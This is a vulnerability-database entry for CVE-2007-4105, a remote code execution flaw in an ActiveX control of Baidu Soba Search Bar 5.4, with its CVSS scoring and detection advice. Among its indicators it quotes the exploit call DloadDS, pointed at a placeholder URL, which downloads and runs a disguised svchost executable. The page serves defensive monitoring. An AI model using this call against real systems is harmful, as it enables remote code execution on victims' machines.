CVE-2007-4105

published 2007-07-31

CVE-2007-4105: A certain ActiveX control in BaiduBar.dll in Baidu Soba Search Bar 5.4 allows remote attackers to execute arbitrary code via a request containing "a link to…

Priority P2 66 critical 9.3 CVSS 2.0

AV N AC M Au N C C I C A C

ITW EXPLOIT VulnCheck KEV

A certain ActiveX control in BaiduBar.dll in Baidu Soba Search Bar 5.4 allows remote attackers to execute arbitrary code via a request containing "a link to download and a file to execute," possibly involving remote file inclusion.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
baidu	soba_search_bar	—	—

Detection & IOCs extracted from sources · hover to see the quote

filename BaiduBar.dll↗

command com.DloadDS("http://www.example.com/svcho st.cab", "svch ost.exe", 0);↗

• → Monitor ActiveX method calls to DloadDS on BaiduBar.dll, particularly those supplying a remote .cab URL and an executable filename as arguments — this is the exact exploit primitive used in CVE-2007-4105. ↗
• → Detect Internet Explorer loading BaiduBar.dll as an ActiveX control followed by outbound HTTP requests to download .cab files and subsequent process execution — indicative of the download-and-execute attack chain. ↗

• · The exploit PoC uses a placeholder domain (www.example.com); real-world attacks will substitute an attacker-controlled URL. Detection rules should focus on the DloadDS method call pattern rather than any specific domain. ↗
• · Other versions of Baidu Soba beyond 5.4 may also be affected; version-pinned detections targeting only 5.4 may miss vulnerable deployments. ↗

CVSS provenance

nvd v2.0 9.3 CRITICAL AV:N/AC:M/Au:N/C:C/I:C/A:C

vulncheck 9.3 CRITICAL

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.